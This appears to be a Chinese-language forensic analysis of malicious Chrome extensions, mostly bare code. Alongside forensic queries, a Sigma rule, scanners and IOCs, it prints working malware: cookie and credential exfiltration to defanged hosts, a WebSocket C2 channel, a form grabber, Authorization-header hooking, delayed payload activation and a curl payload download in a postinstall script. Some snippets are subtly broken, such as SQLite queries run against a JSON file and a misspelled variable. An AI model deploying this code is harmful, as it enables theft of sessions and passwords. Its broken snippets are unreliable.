浏览器扩展安全取证深度分析

ls -la ~/.config/google-chrome/Default/Extensions/
ls -la "/Users/$(whoami)/Library/Application Support/Google/Chrome/Default/Extensions/"
find / -name "manifest.json" -path "*/Extensions/*" 2>/dev/null | head -20

cat ~/.config/google-chrome/Default/Extensions/<extension_id>/<version>/manifest.json | python3 -m json.tool
sqlite3 ~/.config/google-chrome/Default/Cookies "SELECT * FROM cookies WHERE host_key LIKE '%.example.com%'"
sqlite3 ~/.config/google-chrome/Default/Web\ Data "SELECT * FROM autofill"

python3 -c "
import sqlite3, json
conn = sqlite3.connect('/path/to/Preferences')
c = conn.cursor()
c.execute('SELECT json_extract(value, \"$.extensions.settings\") FROM preferences WHERE key = \"extensions\"')
print(c.fetchone())
"

{
  "manifest_version": 2,
  "name": "Example Extension",
  "version": "1.0.0",
  "permissions": [
    "tabs",
    "cookies",
    "storage",
    "webRequest",
    "webRequestBlocking",
    "<all_urls>"
  ],
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"],
      "run_at": "document_start"
    }
  ],
  "background": {
    "scripts": ["background.js"],
    "persistent": true
  }
}

{
  "manifest_version": 3,
  "name": "Example Extension",
  "version": "2.0.0",
  "permissions": [
    "storage",
    "cookies"
  ],
  "host_permissions": [
    "https://*.example.com/*"
  ],
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [
    {
      "matches": ["https://*.example.com/*"],
      "js": ["content.js"],
      "run_at": "document_start",
      "world": "MAIN"
    }
  ],
  "declarative_net_request": {
    "rule_resources": [
      {
        "id": "ruleset_1",
        "enabled": true,
        "path": "rules.json"
      }
    ]
  }
}

// Content Script运行在隔离世界中，拥有受限的DOM访问权限
// 可以读写DOM，但无法访问网页的JavaScript变量
document.addEventListener('DOMContentLoaded', () => {
    const userInput = document.querySelector('#user-input').value;
    // 可以读取DOM元素值
    document.querySelector('#result').textContent = 'Processed: ' + userInput;
});

// 通过postMessage与页面脚本跨World通信（MV3 MAIN World安全风险）
window.postMessage({
    type: 'FROM_CONTENT_SCRIPT',
    data: document.cookie
}, '*');

// 监听页面脚本发送的消息（数据窃取向量）
window.addEventListener('message', (event) => {
    if (event.data.type === 'FROM_PAGE') {
        chrome.runtime.sendMessage({
            type: 'EXFILTRATE',
            data: event.data.payload
        });
    }
});

{
  "manifest_version": 3,
  "web_accessible_resources": [
    {
      "resources": ["inject.js", "config.js", "api.js"],
      "matches": ["https://*.target-site.com/*"],
      "extension_ids": ["*"]
    }
  ]
}

// 示例：时间触发延迟激活恶意代码
// 扩展安装后不会立即表现出恶意行为
const INSTALL_DELAY_HOURS = 72;
const NOW = Date.now();
const INSTALL_TIME = parseInt(localStorage.getItem('install_time') || NOW);
localStorage.setItem('install_time', INSTALL_TIME);

if (NOW - INSTALL_TIME > INSTALL_DELAY_HOURS * 3600 * 1000) {
    // 延迟激活后才执行恶意逻辑
    loadMaliciousPayload();
}

async function loadMaliciousPayload() {
    const config = await fetch('https://cdn-analytics[.]com/config.json');
    const rules = await config.json();
    if (rules.enable && rules.targets.some(t => window.location.hostname.includes(t))) {
        exfiltrateDocumentCookies();
        injectFormGrabber();
    }
}

# npm供应链攻击检测：检查扩展依赖中的可疑包
find /path/to/extension/ -name "package.json" -exec grep -l "preinstall\|postinstall" {} \;
find /path/to/extension/ -name "*.js" -exec grep -l "eval(\|Function(\|atob(\|btoa(" {} \;

// chrome.alarms Service Worker保活策略
chrome.runtime.onInstalled.addListener(() => {
    chrome.alarms.create('keepalive', { periodInMinutes: 0.5 });
});

chrome.alarms.onAlarm.addListener(async (alarm) => {
    if (alarm.name === 'keepalive') {
        await performBackgroundTask();
    }
});

// WebSocket C2隐蔽通信
class CovertChannel {
    constructor() {
        this.ws = null;
        this.reconnectDelay = 1000;
    }

    connect() {
        this.ws = new WebSocket('wss://cdn-cloudservice[.]com/ws');
        this.ws.onopen = () => {
            this.reconnectDelay = 1000;
            this.ws.send(JSON.stringify({
                type: 'heartbeat',
                id: chrome.runtime.id,
                ts: Date.now()
            }));
        };
        this.ws.onmessage = async (event) => {
            const cmd = JSON.parse(event.data);
            const result = await executeCommand(cmd);
            this.ws.send(JSON.stringify({ type: 'result', data: result }));
        };
        this.ws.onclose = () => {
            setTimeout(() => this.connect(), this.reconnectDelay);
            this.reconnectDelay = Math.min(this.reconnectDelay * 2, 30000);
        };
    }
}

async function performBackgroundTask() {
    const cookies = await chrome.cookies.getAll({});
    const sensitiveCookies = cookies.filter(c =>
        c.name.includes('session') || c.name.includes('token') ||
        c.name.includes('auth') || c.name.includes('jwt')
    );
    if (SensitiveCookies.length > 0) {
        await sendToC2(sensitiveCookies);
    }
}

// AES-GCM加密C2通信示例
async function encryptData(data, key) {
    const encoder = new TextEncoder();
    const iv = crypto.getRandomValues(new Uint8Array(12));
    const cryptoKey = await crypto.subtle.importKey(
        'raw', encoder.encode(key), { name: 'AES-GCM' }, false, ['encrypt']
    );
    const encrypted = await crypto.subtle.encrypt(
        { name: 'AES-GCM', iv: iv }, cryptoKey, encoder.encode(JSON.stringify(data))
    );
    return {
        iv: Array.from(iv).map(b => b.toString(16).padStart(2, '0')).join(''),
        data: btoa(String.fromCharCode(...new Uint8Array(encrypted)))
    };
}

// Content Script窃取表单数据
document.addEventListener('submit', (event) => {
    const form = event.target;
    const formData = new FormData(form);
    const data = {};
    formData.forEach((value, key) => {
        data[key] = value;
    });
    chrome.runtime.sendMessage({
        type: 'FORM_GRABBER',
        url: window.location.href,
        data: data
    });
}, true);

// 监听页面DOM变化，实时捕获动态加载的敏感数据
const observer = new MutationObserver((mutations) => {
    mutations.forEach((mutation) => {
        mutation.addedNodes.forEach((node) => {
            if (node.nodeType === Node.ELEMENT_NODE) {
                const tokens = node.querySelectorAll(
                    'input[type="password"], input[name*="token"], input[name*="api_key"]'
                );
                tokens.forEach((input) => {
                    chrome.runtime.sendMessage({
                        type: 'CREDENTIAL_THEFT',
                        field: input.name,
                        value: input.value
                    });
                });
            }
        });
    });
});
observer.observe(document.body, { childList: true, subtree: true });

// 扩展窃取所有域名的Cookie
async function exfiltrateAllCookies() {
    const allCookies = await chrome.cookies.getAll({});
    const sensitivePatterns = [
        'session', 'token', 'auth', 'jwt', 'sid', 'ssid',
        'access_token', 'refresh_token', 'xsrf', 'csrf'
    ];
    const sensitiveCookies = allCookies.filter(cookie =>
        sensitivePatterns.some(p => cookie.name.toLowerCase().includes(p)) ||
        cookie.httpOnly === false && cookie.secure === false
    );

    const encodedData = btoa(JSON.stringify(sensitiveCookies.map(c => ({
        domain: c.domain,
        name: c.name,
        value: c.value,
        path: c.path,
        expires: c.expirationDate,
        httpOnly: c.httpOnly,
        secure: c.secure,
        sameSite: c.sameSite
    }))));
    await fetch('https://data-analytics[.]com/collect', {
        method: 'POST',
        body: encodedData
    });
}

// 突破httpOnly限制的Cookie窃取
// Content Script虽然无法通过JS读取httpOnly Cookie
// 但可以通过拦截HTTP请求头获取Authorization
// 或通过chrome.webRequest API（MV2）/declarativeNetRequest规则修改请求

// MV2：通过webRequest API拦截所有Authorization Header
chrome.webRequest.onBeforeSendHeaders.addListener(
    (details) => {
        const authHeader = details.requestHeaders.find(
            h => h.name.toLowerCase() === 'authorization'
        );
        if (authHeader) {
            sendToC2({
                url: details.url,
                authorization: authHeader.value,
                timestamp: Date.now()
            });
        }
    },
    { urls: ['<all_urls>'] },
    ['requestHeaders', 'extraHeaders']
);

// MV3：通过Content Script注入脚本到MAIN World拦截
// 在MAIN World中拦截fetch和XMLHttpRequest
(function() {
    const origFetch = window.fetch;
    window.fetch = function(...args) {
        const [url, options] = args;
        if (options && options.headers) {
            const auth = options.headers['Authorization'] ||
                         options.headers['authorization'];
            if (auth) {
                window.postMessage({
                    type: 'CAPTURED_AUTH',
                    url: typeof url === 'string' ? url : url.url,
                    authorization: auth
                }, '*');
            }
        }
        return origFetch.apply(this, args);
    };
})();

{
  "update_url": "https://clients2.google.com/service/update2/crx",
  "version": "2.0.1",
  "version_name": "Security Patch"
}

{
  "ExtensionSettings": {
    "*": {
      "installation_mode": "blocked"
    },
    "malicious_extension_id": {
      "installation_mode": "force_installed",
      "update_url": "https://malware-cdn[.]com/update"
    }
  }
}

# 定位扩展存储目录
EXTENSION_ID="aaaaaaaaaaaaaaaaaaaaaaaaaa"
find ~/.config/google-chrome/Default/ -name "$EXTENSION_ID" -type d 2>/dev/null

# 使用leveldb库读取扩展存储（Python）
python3 -c "
import plyvel, json, os, glob
base = os.path.expanduser('~/.config/google-chrome/Default/Local Extension Settings/')
for ext_dir in glob.glob(os.path.join(base, '*')):
    ext_id = os.path.basename(ext_dir)
    try:
        db = plyvel.DB(ext_dir, create_if_missing=False)
        print(f'Extension: {ext_id}')
        for key, value in db:
            print(f'  Key: {key.decode(errors=\"replace\")}')
            print(f'  Value: {value.decode(errors=\"replace\")}')
            print('  ---')
        db.close()
    except Exception as e:
        print(f'  Error: {e}')
"

# Chrome Profile取证关键路径（Linux）
PROFILE_DIR="$HOME/.config/google-chrome/Default"

# 已安装扩展列表
cat "$PROFILE_DIR/Secure Preferences" | python3 -m json.tool | grep -A 20 "extensions"

# 扩展安装记录
sqlite3 "$PROFILE_DIR/History" \
    "SELECT url, title, visit_count, last_visit_time FROM urls WHERE url LIKE '%chrome://extensions%'"

# 浏览器扩展下载记录
sqlite3 "$PROFILE_DIR/History" \
    "SELECT target_path, referrer, start_time FROM downloads WHERE target_path LIKE '%.crx%'"

# 扩展更新日志
grep -r "extension" "$PROFILE_DIR/" --include="*.log" 2>/dev/null | head -20

# Cookies数据库：提取扩展相关的Cookie
sqlite3 "$PROFILE_DIR/Cookies" \
    "SELECT host_key, name, value, path, expires_utc, is_httponly, is_secure FROM cookies WHERE host_key LIKE '%analytics%' OR host_key LIKE '%cdn-cloudservice%'" 2>/dev/null

# Web Data：提取自动填充数据（可能包含扩展注入的数据）
sqlite3 "$PROFILE_DIR/Web Data" "SELECT name, value FROM autofill"

# Login Data：提取保存的登录凭据
sqlite3 "$PROFILE_DIR/Login Data" \
    "SELECT origin_url, username_value, password_length FROM logins WHERE origin_url != ''" 2>/dev/null

# Network Action Predictor：提取网络请求预测数据
sqlite3 "$PROFILE_DIR/Network Action Predictor" \
    "SELECT user_text, url FROM omni_box_dynamic WHERE url LIKE '%analytics%' OR url LIKE '%cdn-cloudservice%'" 2>/dev/null

# M-001：外泄检测 - 查找向非关联域名发送数据的扩展
# M-002：混淆检测 - 查找使用eval/Function的扩展代码
find ~/.config/google-chrome/Default/Extensions/ -name "*.js" \
    -exec grep -l "eval(\|Function(\|new Function\|document\.write.*String\.fromCharCode" {} \; 2>/dev/null

title: 可疑Chrome扩展请求宽泛权限并启动定时任务
id: 9a3f7b2c-1d4e-4a8c-b5f6-2e7d8c9a0b3f
status: experimental
description: 检测Chrome扩展同时声明宽泛URL权限和使用chrome.alarms API的可疑组合
author: x7peeps-sec
date: 2026/07/12
modified: 2026/07/12
tags:
  - attack.t1176
  - attack.t1053
  - attack.t1539
logsource:
  category: file_modification
  product: windows
  service: chrome
detection:
  selection_permissions:
    EventID: 13
    TargetObject|contains:
      - '\Extensions\*\manifest.json'
  selection_alarms:
    EventID: 13
    TargetObject|contains:
      - '\Extensions\*\js\*.js'
    Details|contains:
      - 'chrome.alarms'
      - 'alarms.create'
      - 'alarms.onAlarm'
  selection_broad_perms:
    EventID: 13
    TargetObject|contains:
      - '\Extensions\*\manifest.json'
    Details|contains:
      - 'all_urls'
      - '<all_urls>'
      - 'cookies'
      - 'webRequest'
      - 'webRequestBlocking'
  condition: selection_alarms and (selection_permissions or selection_broad_perms)
  falsepositives:
    - 合法的后台同步扩展（如邮件客户端扩展）
    - 日历同步扩展
  level: high

#!/bin/bash
echo "=== 浏览器扩展安全快速扫描 ==="
echo "扫描时间: $(date -u +"%Y-%m-%d %H:%M:%S UTC")"
echo ""

CHROME_EXT_DIR="$HOME/.config/google-chrome/Default/Extensions"
if [ ! -d "$CHROME_EXT_DIR" ]; then
    CHROME_EXT_DIR="$HOME/Library/Application Support/Google/Chrome/Default/Extensions"
fi

if [ ! -d "$CHROME_EXT_DIR" ]; then
    echo "[!] 未找到Chrome扩展目录"
    exit 1
fi

echo "[*] Chrome扩展目录: $CHROME_EXT_DIR"
echo ""

echo "=== 已安装扩展列表 ==="
for ext_dir in "$CHROME_EXT_DIR"/*/; do
    ext_id=$(basename "$ext_dir")
    latest_version=$(ls -d "$ext_dir"*/ 2>/dev/null | sort -V | tail -1)
    if [ -f "${latest_version}manifest.json" ]; then
        name=$(python3 -c "import json; print(json.load(open('${latest_version}manifest.json')).get('name', 'UNKNOWN'))" 2>/dev/null)
        version=$(python3 -c "import json; print(json.load(open('${latest_version}manifest.json')).get('version', 'UNKNOWN'))" 2>/dev/null)
        perms=$(python3 -c "import json; d=json.load(open('${latest_version}manifest.json')); print(' '.join(d.get('permissions', []) + d.get('host_permissions', [])))" 2>/dev/null)

        risk="LOW"
        reasons=""
        if echo "$perms" | grep -q "all_urls"; then
            risk="HIGH"
            reasons="${reasons}[声明<all_urls>权限] "
        fi
        if echo "$perms" | grep -q "cookies"; then
            risk="HIGH"
            reasons="${reasons}[可访问Cookie] "
        fi
        if echo "$perms" | grep -q "webRequest"; then
            risk="HIGH"
            reasons="${reasons}[可拦截网络请求] "
        fi
        if find "${latest_version}" -name "*.js" -exec grep -ql "eval\|Function(" {} \; 2>/dev/null | head -1 | grep -q .; then
            risk="HIGH"
            reasons="${reasons}[代码包含eval/Function] "
        fi
        if find "${latest_version}" -name "*.js" -exec grep -ql "chrome\.cookies\.\|getAll(" {} \; 2>/dev/null | head -1 | grep -q .; then
            risk="HIGH"
            reasons="${reasons}[使用chrome.cookies API] "
        fi
        if find "${latest_version}" -name "*.js" -exec grep -ql "fetch(\|XMLHttpRequest\|\.send(" {} \; 2>/dev/null | head -1 | grep -q .; then
            reasons="${reasons}[包含网络请求代码] "
        fi

        echo "  ID: $ext_id"
        echo "  名称: $name"
        echo "  版本: $version"
        echo "  风险等级: $risk"
        if [ -n "$reasons" ]; then
            echo "  发现: $reasons"
        fi
        echo "  ---"
    fi
done

echo ""
echo "=== 高风险扩展统计 ==="
HIGH_COUNT=0
for ext_dir in "$CHROME_EXT_DIR"/*/; do
    latest_version=$(ls -d "$ext_dir"*/ 2>/dev/null | sort -V | tail -1)
    if [ -f "${latest_version}manifest.json" ]; then
        perms=$(python3 -c "import json; d=json.load(open('${latest_version}manifest.json')); print(' '.join(d.get('permissions', []) + d.get('host_permissions', [])))" 2>/dev/null)
        if echo "$perms" | grep -qE "all_urls|cookies|webRequest"; then
            HIGH_COUNT=$((HIGH_COUNT + 1))
        fi
    fi
done
echo "高风险扩展数量: $HIGH_COUNT"

import os
import json
import glob
import re
import sys

DANGEROUS_PERMS = [
    'cookies', 'webRequest', 'webRequestBlocking', 'nativeMessaging',
    'debugger', 'management', 'proxy', 'privacy', 'power'
]
BROAD_HOST = ['<all_urls>', '*://*/*', '*://*.com/*', '*://*.org/*']

MALICIOUS_PATTERNS = {
    'eval_usage': re.compile(r'\beval\s*\(|new\s+Function\s*\('),
    'base64_decode': re.compile(r'\batob\s*\(|Buffer\.from\s*\([^,]+,\s*[\'"]base64'),
    'fetch_exfil': re.compile(r'\bfetch\s*\([^)]*\)\s*\.\s*then'),
    'cookie_theft': re.compile(r'chrome\.cookies\.(getAll|get)\s*\('),
    'xmlhttp_send': re.compile(r'\.open\s*\([^)]*,\s*[\'"]https?://'),
    'crypto_usage': re.compile(r'crypto\.subtle\.(encrypt|decrypt)\s*\('),
    'web_accessible': re.compile(r'web_accessible_resources'),
    'dom_injection': re.compile(r'innerHTML\s*=|document\.write\s*\(|insertAdjacentHTML'),
    'obfuscated_string': re.compile(r'String\.fromCharCode|\\x[0-9a-f]{2}|\\u[0-9a-f]{4}')
}

def analyze_manifest(manifest_path):
    findings = []
    with open(manifest_path, 'r') as f:
        manifest = json.load(f)

    perms = manifest.get('permissions', []) + manifest.get('host_permissions', [])
    dangerous = [p for p in perms if p in DANGEROUS_PERMS]
    broad = [p for p in perms if p in BROAD_HOST]

    if dangerous:
        findings.append(('HIGH', f'Dangerous permissions: {", ".join(dangerous)}'))
    if broad:
        findings.append(('HIGH', f'Broad host permissions: {", ".join(broad)}'))

    content_scripts = manifest.get('content_scripts', [])
    for cs in content_scripts:
        matches = cs.get('matches', [])
        if '<all_urls>' in matches:
            findings.append(('HIGH', f'Content Script matches <all_urls>: {cs.get("js", [])}'))
        if cs.get('run_at') == 'document_start':
            findings.append(('MEDIUM', 'Content Script runs at document_start'))
        if cs.get('world') == 'MAIN':
            findings.append(('HIGH', 'Content Script runs in MAIN world'))

    if manifest.get('manifest_version') == 2:
        bg = manifest.get('background', {})
        if bg.get('persistent'):
            findings.append(('MEDIUM', 'Persistent background page (MV2)'))

    war = manifest.get('web_accessible_resources', [])
    if war:
        findings.append(('MEDIUM', f'Has web_accessible_resources: {len(war)} resources'))

    return findings

def analyze_javascript(js_path):
    findings = []
    with open(js_path, 'r', errors='ignore') as f:
        content = f.read()

    for pattern_name, regex in MALICIOUS_PATTERNS.items():
        matches = regex.findall(content)
        if matches:
            severity = 'HIGH' if pattern_name in [
                'eval_usage', 'cookie_theft', 'obfuscated_string'
            ] else 'MEDIUM'
            findings.append((severity, f'{pattern_name} found in {os.path.basename(js_path)} ({len(matches)} occurrences)'))

    return findings

def scan_extension(ext_dir):
    results = {'ext_id': os.path.basename(ext_dir.rstrip('/')), 'findings': []}
    versions = sorted(glob.glob(os.path.join(ext_dir, '*')), key=os.path.isdir)

    if not versions:
        return results

    latest = versions[-1]
    manifest_path = os.path.join(latest, 'manifest.json')

    if not os.path.exists(manifest_path):
        return results

    results['manifest_findings'] = analyze_manifest(manifest_path)

    for js_file in glob.glob(os.path.join(latest, '**', '*.js'), recursive=True):
        js_findings = analyze_javascript(js_file)
        results['findings'].extend(js_findings)

    return results

def main():
    chrome_paths = [
        os.path.expanduser('~/.config/google-chrome/Default/Extensions'),
        os.path.expanduser('~/Library/Application Support/Google/Chrome/Default/Extensions')
    ]

    ext_dir = None
    for path in chrome_paths:
        if os.path.isdir(path):
            ext_dir = path
            break

    if not ext_dir:
        print('Chrome extensions directory not found')
        sys.exit(1)

    print(f'[*] Scanning extensions in: {ext_dir}')
    print(f'[*] Found {len(os.listdir(ext_dir))} extensions')
    print()

    high_risk = []
    medium_risk = []

    for ext_path in sorted(glob.glob(os.path.join(ext_dir, '*'))):
        if not os.path.isdir(ext_path):
            continue

        result = scan_extension(ext_path)
        all_findings = result.get('manifest_findings', []) + result.get('findings', [])

        if any(f[0] == 'HIGH' for f in all_findings):
            high_risk.append((result['ext_id'], all_findings))
        elif any(f[0] == 'MEDIUM' for f in all_findings):
            medium_risk.append((result['ext_id'], all_findings))

    print(f'=== 风险评估结果 ===')
    print(f'高风险扩展: {len(high_risk)}')
    print(f'中风险扩展: {len(medium_risk)}')
    print()

    if high_risk:
        print('=== 高风险扩展详情 ===')
        for ext_id, findings in high_risk:
            print(f'\nExtension ID: {ext_id}')
            for severity, desc in findings:
                marker = '[!!!]' if severity == 'HIGH' else '[!]'
                print(f'  {marker} {desc}')

if __name__ == '__main__':
    main()

域名：
analytics-cdn[.]com
ext-analytics[.]com
browser-ext[.]com
cdn-extension[.]net

文件哈希（恶意CRX文件）：
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592

Chrome Web Store扩展ID：
aohghmighlieiainnegkcijnibokhpknj
hmiaoahmllfdmmbpaamdogboenefkfc

域名：
www[.]tracking-analytics[.]com
cdn-ad-inject[.]com
analytics-data[.]net

JavaScript特征：
window.__injected_ad_config = { enabled: true, networks: [...] };
document.querySelectorAll('ins.adsbygoogle').forEach(el => { ... });

扩展特征（Manifest配置差异）：
更新后新增权限：webRequest, webRequestBlocking, <all_urls>
更新后新增文件：ad_inject.js, beacon.js, tracking.js

npm包名（Typosquatting）：
@internal/utils → 实际为 @internal-utls
react-helper → 实际为 react-heler
lodash-ext → 实际为 lodas-ext

postinstall脚本特征：
"scripts": { "postinstall": "node build.js && node inject.js" }

build.js特征：
const execSync = require('child_process').execSync;
execSync('curl -s https://cdn-build[.]com/payload.js -o .build/background.js');

扩展后门特征：
chrome.runtime.sendMessage({type: 'REGISTER', id: chrome.runtime.id}, ...);
fetch('https://api-collect[.]com/v1/event', {method: 'POST', ...});